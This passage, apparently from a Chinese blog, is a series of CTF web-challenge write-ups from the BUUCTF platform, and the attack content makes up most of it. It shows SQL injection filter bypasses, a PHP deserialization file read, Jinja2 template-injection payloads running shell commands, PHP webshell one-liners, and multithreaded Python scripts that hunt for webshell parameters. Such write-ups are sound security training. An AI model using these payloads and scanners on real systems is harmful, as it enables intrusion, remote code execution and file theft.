3、发现存在反序列化函数报错,因此猜测,字段1、2、3、4分别是username、age、blog地址、序列化数据,后端需要每次根据no参数查询出4字段的序列化数据进行反序列化,因此下面构造UserInfo序列化数据填充blog地址,即可绕过SSRF请求使用file协议进行任意文件读取。

1
GET /view.php?no=15%20union%20/*!selecT*/%201,2,3,%27%4f%3a%38%3a%22%55%73%65%72%49%6e%66%6f%22%3a%33%3a%7b%73%3a%34%3a%22%6e%61%6d%65%22%3b%73%3a%36%3a%22%68%61%63%6b%65%72%22%3b%73%3a%33%3a%22%61%67%65%22%3b%69%3a%31%38%3b%73%3a%34%3a%22%62%6c%6f%67%22%3b%73%3a%32%39%3a%22%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70%22%3b%7d%27%23

4、读到flag.php,base64解码,或者直接浏览器中打开查看源码即可。

1
flag{77f97643-dcd1-4206-801d-2919297b55ca}

细心才是王道啊!任何参数点都不能放过!

十九、[极客大挑战 2019]HardSQL

D9Pr7t.png

老朋友了,就这?

1
/check.php?username='^(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password='123456 

啊!过滤空格、and、&、|、还有substr等

过滤空格可以用括号前面学到了,但是过滤等号这里蒙B了,嘻嘻用like、rlike都可以,学到啦

1
2
3
/check.php?username='^(updatexml(1,concat(0x7e,(select(right(group_concat(table_name),500))from(information_schema.columns)where(table_schema)like('geek')),0x7e),1))%23&password='123456

XPATH syntax error: '~H4rDsq1~'

注出列名

1
2
3
/check.php?username='^(updatexml(1,concat(0x7e,(select(right(group_concat(column_name),500))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password='123456

XPATH syntax error: '~id,username,password~'

left、right左右爆出即可!

1
2
3
/check.php?username='^(updatexml(1,concat(0x7e,(select(right(password,20))from(H4rDsq1)),0x7e),1))%23&password='123456

XPATH syntax error: '~flag{e4a637e3-26a3-40b8-9d97-dda1f2df2d00}~'

二十、[GXYCTF2019]BabySQli

这道题的解题思路源于一篇熊海代码审计文章[入门级CMS审计——哈拉少安全小队(公众号)]

Payload:

1
name=1'%20unioN%20sElect%201,'admin','202cb962ac59075b964b07152d234b70'%23&pw=123

Flag:

1
flag{b48393e7-6bcd-491e-89d4-47db442b201d}

二十一、[网鼎杯 2020 青龙组]AreUSerialz

1、PHP7.1+反序列化时对类属性的访问控制关键字检测不是非常严格,带有protect、private访问控制关键字的变量经过序列化后正常带有%00的,在题目中is_valid()是限制了32-127的ASCII码才能进行反序列化。因此在PHP7+版本中可以构造这些特殊访问控制关键字的变量为public变量,public变量序列化后是没有%00的,并且反序列化后也正常。题目中所使用的PHP环境是PHP7.4.3,因此可行。

2、反序列化构造file_get_content使用php://filter读出flag.php中的flag

3、i:2数字类型对象属性绕过_destruct魔术方法全等逻辑

Payload:

1
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N;}

Flag:

1
2
3
PD9waHAgJGZsYWc9J2ZsYWd7NTY1NGFlZTAtZGY4My00ZWU5LWIxYTYtZWI2NTRlMWE5YjFkfSc7Cg==

<?php $flag='flag{5654aee0-df83-4ee9-b1a6-eb654e1a9b1d}';

注:在网鼎杯中,题目需要自行读取系统文件来得到网站根目录读取flag,这里学习到:/proc/self/cmdline文件,该文件记录某进程所执行的命令行,self是指当前进程。得到根目录的步骤:/proc/self/cmdline -> /web/config/httpd.conf -> /web/html/flag.php

二十二、[BJDCTF 2nd]fake google

Flask模板注入

漏洞源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from flask import Flask, request,render_template_string,render_template
from jinja2 import Template

app = Flask(__name__)
app.config['SECRET_KEY']='sssssssSFSCFAS'
@app.route("/qaq")
def flag():
name = request.args.get('name', 'null')
t = "<!--ssssssti & a little trick --> P3's girlfirend is : {}<br><hr>".format(name)
if "BJD" in render_template_string(t): #just a trick
return "BJD in P3's gf's name !!!!!???"
if "DJB" in render_template_string(t):
return "DJB in P3's gf's name !!!!!???"
return render_template_string(t)

@app.route("/")
def index():
return render_template("index.html")

if __name__ == "__main__":
app.run(host='0.0.0.0')

Payload:

1
/qaq?name={{[].__class__.__base__.__subclasses__()[169].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}
1
2
3
4
5
6
7
8
9
10
11
/qaq?name={% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat /flag").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
1
/qaq?name={% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}{% endif %}{% endfor %}

Flag:

1
flag{eaa9f2c0-0aea-47ac-9da2-297c0566d208}

二十三、[强网杯 2019]高明的黑客

Dm5hwt.png

​ 特变态!2000多个文件,上万个可传参数,其中可能有某个参数可Getshell!

​ 这个脚本敲了几乎一下午…学习了一下python多线程与tpdm库进度条的用法,并且对正则表达式的使用进一步学习。

自己敲版本1:以危险参数为单位正则进行构造payload、单线程(慢!!!)

自己敲版本2:getshell本质不就是传入参数嘛!获得每个文件中所有GET、POST参数来测试GETSHELL即可!每个文件的每个GET参数我都request一次,多线程(慢!!)

学习敲版本3:明明http协议可以一次性传入多个参数啊!搞毛!request是最占时间的,一次性获得一个文件所有参数(包括POST但我这里只测试了GET的一句话),然后只传一次就OK了啊!时间复杂度直接降了一个量级。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
'''
author: 2h0nG
description:Only test "GET" param. In fact, "POST" param also should be tested.
'''
import re, requests, os
from tqdm import tqdm
import threading

class thread_get_shell(threading.Thread):
def __init__(self, url, file_):
threading.Thread.__init__(self)
self.content = open(dir_name+file_, "r").read()
self.file_ = file_
self.url = url

#执着的执行一个HTTP请求,直到服务器恢复200状态码,且记录错误信息在error.log
def real_request(self, params):
error_log = open(os.path.dirname(__file__)+'\error.log', 'a+')
flag = 0
respon = requests.get(url+self.file_, params = params)
while respon.status_code != 200:
if flag == 0:
error = 'page ' + str(respon.status_code) + ': ' + respon.request.url + "\n"
error_log.write(error)
#print('\n\033[0;31;40mpage ' + str(respon.status_code) + ': ' + respon.request.url + '\033[0m')
flag = 1
respon = requests.get(url+self.file_, params = params)
flag = 0
error_log.close()
return respon

def run(self):
pattern = re.compile(r"(?<=\$_GET\[')[a-zA-Z0-9]+(?='\])")
params = {}
all_keys = set(pattern.findall(self.content))
#将当前php文件中所有可传GET参数的key保存为dict,一次性全部发送测试getshell
for key in all_keys:
params[key] = "echo zhongjiacheng"
respon = self.real_request(params)
#一旦发现成功getshell,则逐个解析出密码参数
if 'zhongjiacheng' in respon.text:
for i in all_keys:
respon = self.real_request({i : 'echo zhongjiacheng'})
if 'zhongjiacheng' in respon.text:
success = "webshell ==> " + self.file_ + " ; key = " + i + '\n'
print("\n\033[0;32;40mwebshell ==> " + self.file_ + " ; key = " + i + '\033[0m')
open(os.path.dirname(__file__)+'\success.log', 'a+').write(success)

if __name__=='__main__':
dir_name = "C:/Users/18265/Downloads/www/src/"
url = "http://8c7e3e67-09dd-4fc4-be24-00ea25216166.node3.buuoj.cn/"
files = os.listdir(dir_name)
all_files = [f for f in os.listdir(dir_name)]
for file_index in tqdm(files[0:]):
while threading.active_count() > 100:
continue
th_get = thread_get_shell(url, file_index)
th_get.start()

DmfHSJ.png

Flag

1
flag{c3ee43f0-baa5-42b2-bb82-e3af2a05e58f}

注:另外我的脚本多线程是以class为单位,这里Copy某位大佬的以函数为单位的多线程python脚本,以供未来使用。这里有一点不清楚的是对于python变量作用域的问题,下面展示的脚本限制线程数的方法是使用了信号量,这里的信号量变量全局有效,且线程间共享。以Class为单位没有想出线程间共享全局信号量变量的方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
import os
import requests
import re
import threading
import time
from tqdm import tqdm
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"C:/Users/18265/Downloads/www/src/"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://bc614ec1-f50c-4a4e-befa-badae1940973.node3.buuoj.cn/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()

for i in tqdm(files): #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()

二十四、[GYCTF2020]Blacklist

​ 堆叠注入,单引号闭合原语句后,show tables发现Flag,使用handler绕过过滤。

Payload

1
2
3
4
5
6
http://70b76899-8425-4841-8679-f627f09be900.node3.buuoj.cn/?inject=-1';handler `FlagHere` open;handler `FlagHere` read first;

array(1) {
[0]=>
string(42) "flag{ef4945b0-741f-4b3d-af3e-357b17cebb6c}"
}

二十五、[RoarCTF 2019]Easy Java

​ 准确点说是一道信息泄露题。

​ 1、help页面url中存在filename参数,改为POST参数发现该接口可读取文件

​ 2、尝试读取WEB-INF/web.xml

​ 3、审计web.xml发现存在com.wm.ctf.FlagController

​ 4、直接读class文件,WEB-INF/classes/com/wm/ctf/FlagController.class

​ 5、打开发现base64编码后的flag

Flag:

1
flag{f27f3b6b-84b7-4b4d-a923-5d3f178f87b6}

二十六、[BUUCTF 2018]Online Tool

PHP escapeshellarg()+escapeshellcmd() 之殇——来自洞悉漏洞论坛,作者:Hcamael, p0wd3r

谈escapeshellarg绕过与参数注入漏洞——作者:Phithon

重点函数:

​ escapeshellarg():1、给输入的参数两侧加上一个单引号。2、对参数中的单引号进行转义。3、给转义后的单引号两边再加上一对单引号。

DM9L5V.png

​ escapeshellcmd():转义shell中的一些特殊符号,单引号和双引号成对时不转义,单引号和双引号的成对情况的判断方法是从左至右依次匹配。

DMCpr9.png

Shell中的重点基础知识:

​ 1、’’ 相当于空格

​ 2、单引号和双引号:’’中的内容只会被当作普通的字符串;“”中的内容允许使用变量等内容,因此一些特殊符号需要被打印时需要转义。(比较像PHP)

​ 3、linux中文件名出现单引号时,为了便于人观看,会自动给文件名两边加上双引号。

​ 4、linux中文件名出现特殊符号时,为了便于人观看,会自动给文件名两边加上单引号。

DMPykt.png

​ 5、命令行参数传递错误时,有时不会影响后续参数的解析。

Payload:

1
2
3
'<?php eval($_POST["a"]);?> -oG 1.php '
' -oG 1.php <?php eval($_POST["a"]);?>
' -oG 1.php <?=`$_REQUEST[1]`?>

Flag:

1
flag{3484494e-44a7-48d4-a6a2-7ce586a6072d}

二十七、[MRCTF2020]你传你🐎呢

源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
session_start();
echo "
<meta charset=\"utf-8\">";
if(!isset($_SESSION['user'])){
$_SESSION['user'] = md5((string)time() . (string)rand(100, 1000));
}
if(isset($_FILES['uploaded'])) {
$target_path = getcwd() . "/upload/" . md5($_SESSION['user']);
$t_path = $target_path . "/" . basename($_FILES['uploaded']['name']);
$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name,'.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];
$uploaded_tmp = $_FILES['uploaded']['tmp_name'];

if(preg_match("/ph/i", strtolower($uploaded_ext))){
die("我扌your problem?");
}
else{
if ((($_FILES["uploaded"]["type"] == "
") || ($_FILES["uploaded"]["type"] == "image/jpeg") || ($_FILES["uploaded"]["type"] == "image/pjpeg")|| ($_FILES["uploaded"]["type"] == "image/png")) && ($_FILES["uploaded"]["size"] < 2048)){
$content = file_get_contents($uploaded_tmp);
mkdir(iconv("UTF-8", "GBK", $target_path), 0777, true);
move_uploaded_file($uploaded_tmp, $t_path);
echo "{$t_path} succesfully uploaded!";
}
else{
die("我扌your problem?");
}
}
}
?>

php.ini位置:/usr/local/etc/php/php.ini

disable_functions=pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld

Flag:

1
flag{04e65838-e421-4cb7-97f2-e908b1b214d9}

二十八、

​ 参考上面真实md5碰撞Payload + PHP弱类型绕过

Payload:

1
2
3
id=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&gg=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

passwd=1234567a

Flag:

1
flag{740dbefb-3a86-4587-91a0-30e6af21090c}

二十九、CVE-2020-7066

In PHP versions 7.2.x below 7.2.29, 7.3.x below 7.3.16 and 7.4.x below 7.4.4, while using get_headers() with user-supplied URL, if the URL contains zero (\0) character, the URL will be silently truncated at it. This may cause some software to make incorrect assumptions about the target of the get_headers() and possibly send some information to a wrong server.

get_header %00截断。

Payload:

1
/?url=http://127.0.1.123%00www.ctfhub.com

Flag:

1
flag{57da89d5-4730-4ef0-867e-31ec00306254}

三十、

​ 这道题简单Fuzz了一下发现.git源码泄露,使用王一航大佬的GitHacker发现有字符异常终止错误。换了一个scrabble脚本直接获得源码index.php。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器